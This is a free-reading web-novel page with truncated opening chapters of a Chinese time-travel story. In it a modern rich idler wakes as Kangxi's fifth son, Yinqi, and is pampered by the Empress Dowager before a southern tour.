《[清穿+红楼]大清富贵闲人》 1. 穿越 《[清穿+红楼]大清富贵闲人》全本免费阅读 这是一间不大的屋子,靠墙处摆着一张乌木的床,床头用各种繁复的技艺,精雕细琢出各色瑞兽,透过被挽起的厚重床幔,只见朱红的柱子顶天立地,撑起了房间。 顺着柱子两旁望去,燃烧着的蜡烛摆在精致的架子上,发出昏暗的光亮,凭着殷少爷吃喝玩乐的经验,那些金灿灿的架子,是由货真价实的黄金做成。 殷齐睁开眼的时候,见到的就是这番情景。 一个穿着青灰色古代衣服的女人,正背对着殷齐,仔细地将等挑亮,在她旁边,站着一溜的刚留头小丫鬟。 殷齐艰难的动了动身子,却感受到全身的酸疼,更重要的是,殷齐感觉挪动的身子不太对劲,手举到眼前,果然,殷齐看到的是肉乎乎的小短手。 此情此景,如果殷齐还不知道他是穿越了,并且穿越到一个非富即贵的人家,那也太侮辱他的智商了。 真有趣,殷齐轻轻笑了。 上辈子作为殷家的小儿子,殷齐从小就招猫逗狗,对吃喝玩乐无一不精,他的人生里,每天考虑最多的事,就是如何将银行卡里数不完的钱花掉。 许多人梦寐以求的东西,对殷齐而言,不过是唾手可得之物,他曾见过南极的冰川,也曾到过珠峰的顶峰,他更曾深夜奔驰数百里,只为见到昙花开放那一瞬间的身姿。 但,这种日子,已经让殷齐感到无聊,正常的游乐已经不能再引起他的兴趣。 正呆在家里无所事事的殷齐,一觉睡醒,突然发现到了完全陌生的地方,自己还变成了这般模样,却引起了殷齐久违的探索欲。 “阿哥,您醒了!”听到床上窸窸窣窣的动静,正在挑亮灯的女人转过身来,这是一个三十岁左右的女子,身量中等,头发被一丝不苟地珉起,她激动地扑到床前,眼含热泪地问道。 这话听在殷齐耳中,却是一阵叽里咕噜没有意义的音节。 地狱开局,语言不通! 这真是令人… 激动呢! 殷齐愈发地兴奋起来。 当务之急,是不能露陷。殷齐舔了舔嘴唇,很快反应过来,他直直地盯着女子,轻轻眨了眨眼。 好在,谁敢质疑金尊玉贵的主子呢,见到已经昏睡了不知多久的主子终于醒过来,虚弱地眨巴着眼睛,嘴唇干裂起皮,乌若只剩心疼与惊喜。 她连忙走去旁边的屋子里,这里面住着的,是派来值守的太医。 听到小阿哥终于醒了的消息,一屋子揪着胡子发愁的太医,一股脑的涌了进来,排着队的搭上脉,等到每个太医都诊断完后,互相对视一眼,将提了好几天的心放了下来。 这脉象虽弱,却已经不险,只要日后好好调养,却是再也没有问题的了。 这一群人的项上人头,可算是保住了。 也不怪太医们忧心,毕竟宫中阿哥们虽多,没留住的阿哥也不少,但眼前这主子,却是任谁也不敢轻视的,他不仅有着宫中现在最受宠的母妃,更是被皇太后老人家亲自抚养,这份恩宠,再没有第二个人了。 万岁爷对皇太后至孝,倘若这阿哥真有个三长两短,早几年仁孝皇后生的嫡子夭折,万岁爷震怒,将诊治太医全处置了,此事未必不会再上演。 幸好,幸好这金贵的主子没事了。 殷齐饶有兴致地打量着站了满屋子的太医们,看样子,原身不仅富,而且贵。 正当殷齐思索着的时候,紧闭的房间门突然打开,刺眼的光芒顺着门缝流淌而入,将不大的屋子铺满,角角落落都亮了几度。 穿着华服的中年妇人,在丫鬟的簇拥下快步走了过来,一见到已经睁开眼睛,正茫然盯着门口的殷齐,可算是将担心了好几日的心放下,连声念着佛,关切的问着殷齐的感受。 无奈的是,这个妇人说出的话,听在殷齐的耳中,同样的,也是一段没有意义的音节,只偶尔有一两个词的发音,能勉强听懂,但要凭着这一两个词,就弄清楚一整句话的意思,难度未免过大。 看来,这是到了架空的朝代,殷齐如是想着,而眼前这个穿着金线绣凤袍,头上耳 2. 对话 《[清穿+红楼]大清富贵闲人》全本免费阅读 天光渐明,绘满百子千孙图样的锦帐被掀开,被日光一照,殷齐皱着眉醒了过来。 温热的帕子轻轻地沾上殷齐的脸,乌若带着一众婢女,服侍着殷齐洗漱。 还不等殷齐想出这一天要如何应对,站成两列的婢女突然同时向两旁分开,让出一条过道来,从这道中,走来一个嬷嬷。 这嬷嬷年约四旬,头发蘸着头油梳得整整齐齐、服服帖帖,嘴角习惯性地向下耷拉着,瞧着神态便是个严肃人,也难怪那些婢女们一个个噤若寒蝉。 而且,凭着殷齐的好记性,他一照眼就认出,这是前一天晚上紧跟着此间屋子主人过来的嬷嬷。 这必然是这屋子里说话顶用的人,认识到这情况的殷齐,收起了漫不经心,琢磨着如何才能瞒过他不通言语这事。 谁成想,这嬷嬷一见到能端坐的殷齐,脸上的笑意遮挡不住,忙三两步走上来,双手一夹,就将殷齐抱在怀中,大步往外走去。 哎,这... 殷齐见着自己被人像抱小娃娃一样的抱起,久违地羞耻心涌上心头,挣扎着往地上滑,却被更紧地抱住,步子更快地往前屋走去。 前屋较殷齐住着的小房间大上许多,门窗紧闭着,室内只见昏暗一片,丝丝的青烟从香炉里冒出,屋子里满是浓郁的檀香味道,主座上铺着一整片老虎皮毛做成的褥子,前一天晚上殷齐见过的中年妇人,穿着愈发的老成,倚靠在褥子里,笑着说了些什么。 很遗憾,殷齐依然听不懂这些话是什么意思。 但,这不意味着他就束手无策。 小儿子,大孙子,老太太的命根子,从这妇人的年纪来看,他要么是老来子,要么是大孙子,骤然来到这陌生的地方,殷齐别的不会,撒娇卖乖还做不出来么? 殷齐挣扎着从嬷嬷怀里挣脱,跌跌撞撞地向着妇人跑了过去,一股脑地扎进了妇人的怀里,依赖地靠着,果然,妇人再没计较殷齐的失礼,反而摩挲着他的脸颊,询问着跟过来的乌若,怀中人的起居。 殷齐乖巧地缩在妇人怀里,支着耳朵听着两人的对话,试图分辨出一些高频词语。 这般无精打采,蔫蔫样子的殷齐,却让妇人更加心疼,之前是个多么活泼爱闹的孩子,这次生病可是遭了罪了,连精气神都没了,可得好好补补身子,都怪那郭络罗氏,满心满眼都在新生的儿子身上,才将阿哥送过去住一天,就病得这么厉害,实在可恨。 正当妇人,也就是皇太后越想越气时,肃着脸的嬷嬷,苏曼听了底下小宫人的回话,恭敬地低下头来回禀:“太后娘娘,宜妃娘娘求见。” 随着苏曼的话音落下,原先祥和的气氛瞬间变得凝滞,殷齐敏感地抬起头,小心地打量着。 殷齐自以为小心翼翼地打量,却全被皇太后看在了眼中,她眼中的冷意逐渐褪去,长叹了口气:“罢了,看在阿哥的份上,让她进来吧。” 在殷齐茫然的目光中,厚重的大门再次被悄无声息地推开,又是一群人乌泱泱的涌进来。 在众多婢女簇拥中间的,是一个容貌昳丽的女子,只见这人身形略微丰腴,却又纤秾合度,尽管带着恭敬神色行礼,却也挡不住神采中的顾盼神飞。 真真是个美人,殷齐心下赞叹,可是,他依然不知道这是谁,只能继续茫然地望着。 而这美人,在见到殷齐带着陌生的眼神时,眼泪抑制不住的留下来,立时脚下一软,膝行几步挪到皇太后身前:“太后娘娘,臣妾知道错了,是我疏忽了才让胤祺遭了这番的罪,请您责罚。” “宜妃,哀家知道,你新得了阿哥,哀家也为你高兴,但胤祺同样是你怀胎十月生下的儿子,尽管养在宁寿宫,但到底是要叫你一声额娘的。”皇太后冷淡地望着宜妃,很是失望。 作为蒙古和大清联姻的象征,先帝在位时,皇太后便不得他欢心,空担着皇后的虚名,等先帝驾崩了,新登基的皇帝倒是孝顺,见皇太后膝下空虚,将宜妃新生的五阿哥送到宁寿宫,以解膝下寂寞。 从襁褓中开始,五阿哥胤祺便到了宁寿宫。早些年宫中的阿哥和格格几乎没有能养住的,直到等到胤褆送去宫外,阿哥才慢慢站住,皇太后见着宫中一个又一个夭折的孩子,照顾起来更是精心,都不知耗费了多少心力,才让他从襁褓中的婴儿长到这个年岁。 没想到,这孩子只去翊坤宫住了一晚,便染上了风寒,高热不退。见着一手带大的孩子这般受折磨的模样,在后宫中素来温和的皇太后也冷了脸,若非看在宜妃是胤祺生母的份上,宁寿宫的责罚早早便到了翊坤宫。 宜妃瞬间花容失色,皇太后话中指责意 3. 境遇 《[清穿+红楼]大清富贵闲人》全本免费阅读 宫人急走而来,低着头快速而清晰地说了句话,瞬间,除了端坐正位的妇人,其余人立时行动起来,抱着殷齐的美人,小心地将他放到地上,一个眼神过去,乌若立时便躬着身子护住殷齐,而美人匆匆将略显凌乱的衣裳扯平整,站起身掀开帘子走了出去。 本就肃立的宫人们,瞬间更加恭谨,空气好似都凝重了几分。 而帘子之外,却更加热闹起来,美人柔美的声音之后,响起了男人的带着笑意的声音。 声音越来越近,轻薄的帷帐被拉起,宫人们齐刷刷地跪下行礼,顺着宫人们的方向,殷齐只见之前抱着他的美人,侍立在一个男人身后,走了进来,此人尚是青年人模样,中等个子,容貌端正,行止间却尽显威严。 “起来吧。”青年男子漫不经心地吩咐道,随即略过被乌若抱在怀中的殷齐,几步走到主座旁拱手行礼:“给皇额娘请安。” “皇上无需多礼。”皇太后脸上再不见分毫怒气,笑眯眯地免了礼,又吩咐宫人给皇上和宜妃看座。 等到几人坐定,殷齐才被乌若抱在怀里给他皇阿玛行礼。 “胤祺好点了吗?”皇帝随意的询问一句,好似眼前的并不是他病了多日的儿子,和对待下臣毫无差别。 “好多了。”皇太后笑着招手,重又搂住殷齐:“阿哥这几日可吃了不少苦头,让他歇歇再去上课。” 皇帝对自身严苛,对几个儿子也要求颇高,自到了启蒙的年纪,非大事不许请假,但此时皇太后说了这话,他也不好忤逆了老人家的意思,只能恭声应是,让这个儿子再歇些日子。 殷齐这一日就没多少脚沾在地上的时候,一直被人搂着抱着,本来他应该很不自在,但此时的他注意力已经不在这个怀抱之上。 殷齐望着刚进来的男人,身上穿着的明黄色袍子上,那一只只张牙舞爪,腾云而去的龙。 一、二、三、四、五,确实是五爪金龙,一只爪子也不见少的,凭着殷齐贫瘠的历史知识,他也知道能够堂而皇之在衣服上绣五爪金龙的男人,非当朝皇帝不可。 殷齐不是蠢人,从几人相处的情态中,他飞快的分析出了目前的处境。 很好,原身的出生,比他想象中还要显赫。 帝王与宠妃之子,并由后宫太后抚养,这开局,怎么想都是天胡。 想到这,殷齐不由笑出声来,反正穿越之事已经板上钉钉,既然不能反抗,那还不如好好享受,也不枉重活这一世。 “阿哥瞧见皇上如此高兴,真真是父子亲情。”太后感受到动静,低头,只见殷齐的笑脸,心中同样畅快起来。许是因为病了的缘故,这几日胤祺一直没精打采的,连说话都没有兴致,好容易才见到他重又笑了出来。 “皇额娘最会教养人,胤祺在您这儿被教得很好。”见着大病初愈的额日子,皇帝也有几分怜悯之心,更何况这儿子的母妃颇得他欢心,正眼巴巴地望着,皇帝也不吝惜地夸了几句,又让贴身宫人开库房,将他小时候的玩具找出来,赏给这儿子。 皇帝私库里的东西,从无次品,殷齐拿着白玉雕琢的九连环,爱不释手。不看其他,光这触之即温的籽玉,便价值连城,更别提那精美的雕工,生生将这孩童玩乐之物做成了艺术品。 见着胤祺的注意力被这九连环吸引住,皇帝又向皇太后问安几句,这才携着宜妃的手,出了宁寿宫。 到了这个朝代两天了,殷齐终于对他身处状况有了初步认识,可喜可贺。 不要为生存担忧的殷齐,在宁寿宫里被好吃好喝的伺候着,竖着耳朵听着身旁人的说话,也算是学会了几个常用词,由于生病而清瘦的脸,又圆了回来,皇太后见了乐得不行,将年幼的阿哥抱在怀里摩挲。 此般神仙般享受的日子又过了几天,这一日一大早,天还黑黝黝的,殷齐便被乌若叫醒。< 4. 这是大清! 《[清穿+红楼]大清富贵闲人》全本免费阅读 宫禁深深,此时各宫的主子还在睡梦之中,只有小宫人们在沉默地洒扫着,宽大的扫帚扫过,一夜的浮尘落叶被带走,等到日头出来,再不见踪影。 殷齐跟在同样安静的一行人身后,走过一条又一条的宫道,不知走了多久,连黑黢黢的天边都露出点微光,终于到了目的地。 这是一个和沿途走来没有任何差别的院落,殷齐晃着小短腿迈过高高的门槛,见到的又是红墙黄瓦。 主殿的门大开,一个中年官员正穿戴着全套朝服,正对着门而坐,严肃中带着恭谨。 在这官员的下首,摆着好几张书案,呈品字型排列,此时书案后都已经坐着人,唯有最后一排还有个位置空着。 殷齐在侍读的簇拥下,走了进去。 这是上学堂读书!见到此番情景,殷齐终于明白了此时的状况。 此时已经快到开课的时辰,殷齐这行人走来,动静不大,但也不是能够忽略的地步。 先是端坐上方的官员,大概就是他们的先生,站起了身子,冲着殷齐行礼,然后是已经落座的几个阿哥,转过身子望着殷齐。 殷齐细细打量,此时屋子里除了他,还有4个年岁稍长的男童,独坐正位那人,瞧着并不是年岁最大的,但从书案的摆放,一应用度来看,他的地位是最尊崇的,这大概就是太子了。 至于几人中,看着年岁最大的那人,却只坐在第二排,和一个神态温和的人并坐。 再往后的两个书案,一个空着,大概就是原身的书案,另一个后面坐着的人,比原身大不了多少,同样是短胳膊短腿的,但脸上神色却很是冷肃,看在殷齐眼中,却只想恶劣的揉捏一番。 这便是和他一同读书的兄长了,殷齐暗自思忖,不然其他人也没资格坐在他前头。 想明白的殷齐,先是依葫芦画瓢的向着官员回礼,然后又向几个兄长行礼,见到为首那人点头,才在书案前坐下。 “今日臣为诸位阿哥将礼记。”殷齐刚坐下,更漏中的水往下又滴了一滴,却是到了上课的时辰。 正当殷齐还在为不懂这个地方的语言,不知道该如何糊弄过去这节课的时候,上首先生开始讲授功课,却让殷齐的眼睛瞪得老大。 这,这字正腔圆的声音,除了语音声调上有些区别,和殷齐熟悉的普通话,毫无二样。 这是为何? 若非还在课堂上,殷齐绝对无法如此镇定。先生现在说的,是明明白白的汉话,那前两天在宫中,那又是什么状况。 本以为已经摸清楚情况的殷齐,再次陷入了茫然之中。 殷齐心念电转,急急地思索起来,将这段时日的所见所闻再次回忆,然而,吃了听不懂其他人说话的亏,殷齐少了些关键信息,再怎么向也如同雾里看花一般,朦朦胧胧的,看不明白。 见着宁寿宫中颇受宠爱的小阿哥,又在课堂上神游,先生也只叹了口气,睁只眼闭只眼的当做不知。这小阿哥也进学有段时日了,从来便没有上过心,最开始看不过眼,还敲打几分,却让皇太后心疼的不行,虽然说皇太后也无法干涉朝堂事,但到底储位已定,小阿哥不愿意学习,又有贵人撑腰,他们也没必要逼着。 火光明灭,计时香又往下烧了一大截,风一吹,香灰漱漱落下,只留下光秃秃的竹芯,等最后一粒灰也掉到盘子里,这堂课终于结束。 “今日下午,还请各位主子们将臣今日所讲内容好生复习。”先生说完这话,便准备告退,这一日终于又平安度过,他用袖子擦了擦额角不存在的汉,松了口气。 然而,先生这口气松得太早,正当太子刚示意他可以告退时,宦人那特有的尖细之声传来:“万岁爷到。” 一言出,满堂惊。 先生额头上瞬间布满了细细密密的汗珠,然而此时他却腾不出功夫去擦干,心下只不断盘算着,万岁爷突然莅临的目的。 “给汗阿玛请安。”太子胤礽带着明显的喜色,率领着兄弟到尚书房前恭迎皇帝,先生躬着身子跟在旁边,殷齐跟着冷脸阿哥,混在众人之中,倒也不显眼。 “快起来,你和朕何必如此多礼。”青年天子见着心爱儿子迎驾,甩开跟着的宫人,三两步走上前,将为首的太子扶起,眼中全是怜爱。 “朕瞧着你脸色有点不好,今日膳食可正常用了?昨儿晚上睡得可安稳?”天子对太子的偏爱溢于言表。 “谢汗阿玛。”对于天子的偏爱,太子应对入常,并无受宠若惊之感。作为元后嫡子,出生便被立为太子,皇帝怜其失母,将他接入乾清宫亲自抚养,事无巨细悉数关心:“儿子一切都好。” 皇帝和太子说着话,走进了尚书房里,在主座上坐下,又细细打量了番太子的脸色,才这将他放回去,清了清嗓子,对着先生说到:“朕今日过来,是为了考较诸位阿哥的功课。” 什么?皇帝的声音不小,这句话不仅先生听见,殷齐也听得一清二楚,眼睛不由自主的睁大。 他可是大病初愈刚来上课,他这父亲,不仅不 5. 僧道 《[清穿+红楼]大清富贵闲人》全本免费阅读 殷齐病了。 从尚书房回来后就魂不守舍的,御膳房呈上的夕食,食不下咽地动了几筷子,便让乌若服侍着歇下。 睡下没多久,殷齐翻来覆去的睡不安稳,嘴里发出呓语之声,值夜的乌若忙忙撩起帐子,却见到小阿哥那干裂的嘴唇,以及异样的红潮。 颤着手摸上去,只感觉一片潮热,这让乌若吓得心都要蹦了出来,清宫中阿哥、格格的夭折次数太多,胤祺阿哥本来就没有立住,短短几日之内,几次三番的生病,实在不能不让乌若多想。 “快去茶水房里,接上盆温水,再去正殿那边找苏曼嬷嬷,拿着宁寿宫的牌子去太医院将太医请来。”乌若掐着手心,维持着镇静,有条不紊的吩咐。 “怎么回事。”领命的小宫女还没往外走,帘子外突然传来威严的声音。 乌若急急跪了下去,头贴到地上:“皇太后娘娘,阿哥今日回来精神便不太好,早早歇了,现在又发起热来。” “胤祺请安的时候,哀家就瞧着不对,你们都合一块儿的糊弄我。”皇太后瞪了一眼。 宁寿宫人噤若寒蝉,跪了一地。 唯有苏曼嬷嬷,服侍太后许多年,还有些体面,她顶着主子的怒火,轻声劝慰:“娘娘,这些奴才服侍不尽心,都该罚,但当务之急是先找太医来给小阿哥瞧病,奴婢看着都心疼。” “还愣着干什么。”皇太后怒气未消,但也听进去苏曼的话:“还不快拿宁寿宫的牌子,去太医院叫人。” 腿脚快的小太监忙弯腰应了,恭身退出:“等等,你去太医院,将周太医叫来,他医术最好。”皇太后又加了一句。 “是。”这周太医,是太医院的圣手,等闲人劳烦不得,平日里只负责几个主子的脉案,正常来说,大半夜的阿哥不适,是叫不动周太医的。 当然,皇太后发了话,周太医都必须走这么一趟。 尽管头顶上还有太皇太后,但皇太后的懿旨,在后宫中的权威毋庸置疑,很快,周太医便气喘吁吁地进了宁寿宫。 “皇太后娘娘吉祥。” “快给胤祺看看情况。”皇太后向来不耐那些繁文缛节,赶紧让周太医给胤祺看诊。 周太医已经久未在半夜突然被召唤进宫,一路上已经设想了许多不好的情况,等到搭上脉,这颗心才放松下来。 “太后主子。”心中有数的周太医,说话不免轻松几分:“五阿哥是受到了惊吓,心中不安才发热,臣开两服压惊的药,五阿哥喝完就好了。” 皇太后颔首,示意周太医自去熬药。 然后皱着眉,望着一屋子本就没敢起身,听了太医的话后,颤抖的更厉害的宫人,厉声呵斥:“阿哥怎么会受惊吓,你们怎么服侍的?” 乌若作为胤祺身边的掌事宫女,白日里发生的事情,已经问了明白,只是犹豫着是否要报给皇太后,毕竟父亲抽查儿子功课,说破天都不是多大的事,而且皇太后到底不是万岁爷的生母,母子之间相处需要多留心几分。 没想到一犹豫,就出了这么大的纰漏。 乌若磕了个头:“主子,今日万岁爷去尚书房查功课,阿哥没有答上来,阿哥许是往心里去了。” “万岁爷什么都好,就是要求太高了。”皇太后听了乌若的话,原本勃发的怒意平息几分,脸色仍然不算好看,她忧心地摸着胤祺额头上的冷汗,亲自接过帕子擦拭着。 “才多大的人,每日便寅时起,戊时歇的,铁打的身子都熬不住。”皇太后叹了口气:“更何况我们马背上打天下,干什么学汉人那堆东西,又不像太子,以后要治国理政。” 这话皇太后说的,其他人说不得,非但说不得,他们连听都是逾矩,一个个的缩在地上瑟瑟发抖,不敢言语。 就连苏曼,也立时跪了下来。 皇太后自知失言,将帕子投回水盆:“罢了,这事也怨不着你们,都起来吧。” 宫人们这才战战兢兢地站起身来,端药的端药,换水的换水,动作起来。 皇太后的这一番发作,殷齐全然不知。 他自从在尚书房里 6. 溺爱 《[清穿+红楼]大清富贵闲人》全本免费阅读 “主子!”提着心关注着动静的乌若立时奔了过来,伸手抚上殷齐的额头,触手一片温热,终于不是烫人的模样。 “快,去禀告太后娘娘,阿哥醒了。”皇太后在床边守着殷齐喝完了药,到底年岁上来了,难挡困乏,被苏曼劝说着回了寝殿歇息,离开前再三嘱咐,阿哥这边有任何动静,都要及时禀告。 在殷齐开始发热的时候,乌若便已后悔不迭,倘若一早便将尚书房发生的事情上报,及时请太医开个安神汤压惊,也不至于闹到如此地步。 “主子,您现在感觉如何?”乌若吩咐完宫人后,将一直煨在红泥火炉上的葡萄缠枝花鸟纹银壶取下,将温热的蜜水倒入一整块由绿玉凿空而成的方斗杯,小心地喂给依靠在床上的主子。 奇异的是,此时乌若说的话,依旧是先前的音节,但这些早先毫无意义的音节,听在殷齐的耳中,却瞬间就明了意思。 殷齐一愣,这反应被乌若看在眼中,更加着急,连连问道:“还有哪里不舒服,奴婢请周太医过来。” 这是自小服侍着的掌事宫女,乌若。 这句话突然就浮现在殷齐的脑中,他将诧异压下,忙忙说道:“不用。” 话一出口,殷齐更加感到惊讶,他说出来的,并不是刻在骨子里的汉语,而是和乌若同样的语言。 “给我。”殷齐从乌若手中接过杯子,小口小口的喝着,温热的蜜水顺着喉咙入腹,甜滋滋的味道让他混乱的思绪平复。 殷齐环视四周,果然,随着他目光所及,一个个东西的名称浮现出来,顺着这些线索抽丝剥茧,原身的记忆终于挥开层层雾气,显露给殷齐。 这儿确实是大清朝,但不知在入关时出了什么变动,十从十不从没有提出来,并未强制要求剃发易服,不过在入关后的几十年里,满汉服饰逐渐融合,有了新的发展。 再加上满人没有缠足的习俗,对三寸金莲欣赏不来,上有所好,下必甚焉,宫中贵人不爱小脚,达官贵人,普通人家也慢慢的放弃了缠足这个事情。 但除了这些,其他的历史进程,却又和殷齐记忆中完全一致。 在得到这些记忆后,殷齐终于对现状有了概念。 此处是大清朝的紫禁城,当今年号康熙,对,历史上赫赫有名的康熙大帝,就是原身的父亲。 原身名为胤祺,是康熙活下来的第五子,也是康熙朝宠妃宜妃的大儿子,对,就是后世每年暑假都会放的神剧,一直陪康熙微服私访的那个美人宜妃。殷齐不由想起前些日子见到的那个宫装美人,不愧能占尽帝宠的,这般长相,放娱乐圈也能碾压众人。 不过,胤祺在出身之后,并未在宜妃身旁长大,反而被送到了当朝皇太后的宁寿宫,被皇太后亲自抚养,皇太后又是个溺爱孩子的,要星星不给月亮,胤祺在宫中过得十足快意,肆无忌惮地长大。 可惜,还是没有逃过风寒,让殷齐入了他的身子,只能最后在梦中和殷齐交代几番。 “小五,怎么样了?”殷齐刚捋顺思绪,皇太后扶着苏曼的手,匆匆赶了过来,头发凌乱,胡乱搭着衣裳,着急间连胤祺小时候的小名都喊了出来。 而低着头跟在皇太后身后的,是听到儿子生病急忙赶来宁寿宫求见的宜妃。 听见宫人回禀,得知胤祺终于醒了,已经躺下歇息的太后立时掀开帐子,趿拉着鞋便走了出来,一直坐在宁寿宫正殿里,心急如焚等着消息的宜妃,趁机走了进来。 殷齐循声望去,见到的就是仓促狼狈的两人,望着皇太后脸上掩不住的焦急神情,再望着宜妃不敢言语,却憔悴了许多的神色,殷齐暗暗叹了口气,罢了,既然用了这个身子,日后,便以这个身份活下去,如此也不算辜负了这番造化。 以后,便再没有殷齐,他是爱新觉罗.胤祺。 “皇玛嬷,孙儿无事。”殷齐,不,爱新觉罗.胤祺,亲昵地回 7. 溺爱 《[清穿+红楼]大清富贵闲人》全本免费阅读 我错了。胤祺木着一张脸,看着正使唤着宫女服侍他的皇太后。 原本以为宜妃对这儿子就够溺爱的,但和皇太后比起来,宜妃的宠爱,简直称得上不值一提。 胤祺对着皇太后送过来的药材发呆,人参足有成人的手掌大,胤祺敢发誓,这人参绝对是长了已有百年的野山参,说一句价值千金也不为过,更别提那大如磨盘、紫玉般的灵芝,茸毛细软、切成圆片的鹿茸,无不是可遇不可求之物,如今就这么随意的摆放在托盘里,任由胤祺取用。 若不是周太医还有为医的良知,冒死进谏,皇太后真想把这些东西全都用在胤祺身上,全然不顾他小小的年纪用这么多的大补之物,能不能受的住,在皇太后心中,这些都是好东西,自然要给最宠爱的孙子用上。 皇太后的这份偏爱,已经让胤祺惊讶了,毕竟这些药材,在清宫中也不是那么多,皇太后是将自己压箱底的东西都拿出来了。 但,这还不是全部。 胤祺醒来后,很快便退了烧,周太医仔细把过脉后,和皇太后回禀,五阿哥身子已经大好。 忧心胤祺的皇太后早便叫停了妃嫔的请安,守在胤祺床头的她,听见太医的话,终于在这段日子里露出了轻松的笑容。 “周太医医术精湛,重重有赏。”皇太后毫不吝啬,以草原人的豪爽,挥手便赐了许多金银,就连宁寿宫当值的宫人,也增加了一个月的月钱,宫人一扫前些日子的谨慎,都喜气洋洋的。 趁着皇太后心情后,乌若和皇太后凑趣一番,然后才小心翼翼地问道:“太后娘娘,小主子已经好了,是否明日便去尚书房。” 皇太后满面的笑容顿时消失,怒意浮现,她重重哼了声:“这劳什子书有什么好读的,让我们胤祺病成这样。” “苏曼,你去乾清宫候着,让万岁爷下朝后来我这儿一趟,我有事找他。”皇太后慈爱地望着胤祺,吩咐的声音中犹带怒意。 “皇玛嬷。”胤祺吓了一跳,他有了原身的记忆,也捋清楚了宫中错综复杂的关系,自然知道眼前的皇太后并非皇帝的生母,在宫中也有不如意之处,对于康熙的决定,从来没有说过不字。 看这样子,皇太后是要打破她一贯的原则。 “胤祺不难受了。”胤祺急急说道,尽力证明着他确实可以去上学,阻止皇太后和康熙发生争执。 毕竟,康熙对儿子的教育,极度重视。 每日卯时,阿哥们就得在尚书房了等着先生的到来,然后开始一整天的学习,上午习文,下午练武,等到申时才能结束一整日的学习,整整十个小时,都没有停歇。 并且这份作息,风雨无阻,除了太皇太后、皇太后、皇帝的寿辰,其他日子都需上课。 更不要说那个丧心病狂的一百二十遍学习法,每日学习的内容,首先要诵读一百二十遍,然后再背诵一百二十遍,直到滚瓜烂熟才可。 这份重视,可见一斑。 胤祺来到这个时代后,皇太后是对他最好的人,他不愿意这个和善的人为了他而受气。 “胤祺,放心,皇玛嬷在呢。”皇太后笑着摸着胤祺的额头,手心温暖,胤祺一阵恍惚,好似在很久很久以前,也有这么一个手,这么轻柔地摸着他的额头,温柔的说:“别怕,妈妈在呢。” 正在这时,宫门外传来禁鞭的声音,康熙的圣驾已经到了宁寿宫。 清朝入关后,学着三纲五常那一套,以孝治天下,作为立志要成为圣明君主的皇帝,康熙对于皇太后这个嫡母很是尊敬,故而宁寿宫的宫人一请,康熙立即放下了手头的事情,赶了过来。 听见宫人的传信,皇太后扶着胤祺躺下,又给他盖好被子,扶着苏曼的手,在正殿等待康熙到来。 “给皇额娘请安。”皇太后刚到,康熙便在众多宫人的簇拥下走了进来,他对着皇太后行完礼,又扶着皇太后在黄梨木的椅子上坐下,摸着手下的金丝绣凤的坐垫,皱着眉:“这几天风渐冷,皇额娘您这儿的坐垫还是这么单薄 8. 江南 《[清穿+红楼]大清富贵闲人》全本免费阅读 江南! 那是春水碧于天,画舫听雨眠的江南(1),那是黄梅时节家家雨,青草池塘处处蛙(2)的江南,那是有三秋桂子,十里荷花的江南(3),那是霜轻未杀萋萋草,日暖初干漠漠沙(4)的江南,是每个文人的魂牵梦萦,念念不忘。 胤祺上辈子也是去过江南的,他听过姑苏城外寒山寺(5)的钟声,他赏过春风十里扬州路的风情(6),他也曾醉卧小楼夜听风雨(7),沉溺于江南的温软和旎旎之中。 但此时的江南,胤祺没有见过,在听见皇太后略带得意的和他说着这个消息时,躺了好几天不许下地而产生的淡淡不耐,瞬间消失,他也想见识一下此时此世的江南,见见京杭大运河上船只川流不息的繁盛,见见封建社会最后的余晖,他如同真正的孩童一般,兴奋不已:“谢皇玛嬷。” 皇太后依旧笑得慈祥,她佯作出严肃模样:“这段日子可得好好喝药,要你不听话,我可和你皇阿玛说,不带你去了。” “皇玛嬷,我一定听话。”胤祺扭股儿糖似地,不住撒娇。说来也奇怪,许是他到了这个身体的原因,行事不自觉的年幼起来,对着皇太后撒娇竟不觉违和。 日子在胤祺的盼望中,一天天地过去,在胤祺被养得白胖一圈,皇太后老人家终于满意了,点头放他出屋子后没几天,便到了南巡的日子。 这是康熙朝的第一次南巡,康熙二十三年,年富力强的皇帝已经平定了三藩叛乱,收回了台湾,正是野心勃勃之时,为了解决另一个心腹大患,水患,年轻的帝王对南巡筹谋已久。 出发当日,旌旗蔽日,帝王雕金砌玉的车架从午门缓缓驶出,王公大臣、文武百官在沿途跪送,乌泱泱的车队见不到尾,开路官已经出了城门,队尾还在紫禁城中。 胤祺随着皇太后坐在凤辇之中,仅在康熙的御辇之后,太皇太后刚过了七十圣寿,年事已高,受不住沿途的颠簸,留守在宫中,皇太后便是女眷中地位最高之人,她的凤辇和御辇比起来,也毫不逊色,甚至考虑到皇太后的年岁,凤辇里面的铺陈更加富丽,也更加软和。 马车经过之处,山呼万岁之声声浪四起,胤祺原本被皇太后搂着,唯恐颠簸了去,但听着这海啸般的声音,终是没有忍住,爬到凤辇的窗前,掀开金黄色绣祥云图样的帘子,脸紧紧贴在紫檀木窗棂上,目不转睛地望着这盛世王朝。 车架还在皇城根下,途径的尚是达官贵人的宅邸,一张张的黑漆铜门,分隔出一个个的院落,此时各家各户正门大开迎接圣驾。 举目望去,目之所及所有人都将额头紧紧贴在地上,不敢抬起分毫,唯恐冒犯了贵人被之罪,盛世气象胤祺没有感受,皇权的肃杀让他兴致寥寥。 此时道路还是靠着洒黄土平整,车队一过,沙土漫天,很快胤祺便被扑了一脸的黄沙,他呸呸两声,放下手中的缎子,无精打采地坐好。 “怎么不看了?”皇太后关切地询问。 “皇玛嬷,孙儿有点累了。”胤祺蔫蔫地,全没有早前的兴奋。 皇太后笑了:“这一路上可不是那么舒服的。”说着,亲自用车上的水将帕子打湿,擦拭着胤祺已经变得灰扑扑的脸:“这才刚开始呢。” 胤祺还是无精打采的样子,皇太后见着孙子这般模样,心疼不已,对着在车里贴身服侍的苏曼说道:“待会儿休息的时候,你去看看,倘若宜妃没有伴驾,将她召过来。” 是的,这次南巡,不仅有皇太后和胤祺,还有康熙心爱的宜妃和德妃,当然,还有康熙最宝贝的太子胤礽。 宜妃,胤祺一激灵,疑惑地看着皇太后。 皇太后摸着胤祺的脸:“你们母子也许多日子不见了,路上无聊,让你额娘陪陪你。” “谢皇玛嬷恩典。”热意涌上心间,胤祺将头埋进皇太后的怀里,掩盖住微红的眼眶。 车行了大概两个时辰,车队已经出了京城,到了直隶地界,此时日头当空,已是午时,传令官奉康熙的令,令一行人停下修 9. 父子 《[清穿+红楼]大清富贵闲人》全本免费阅读 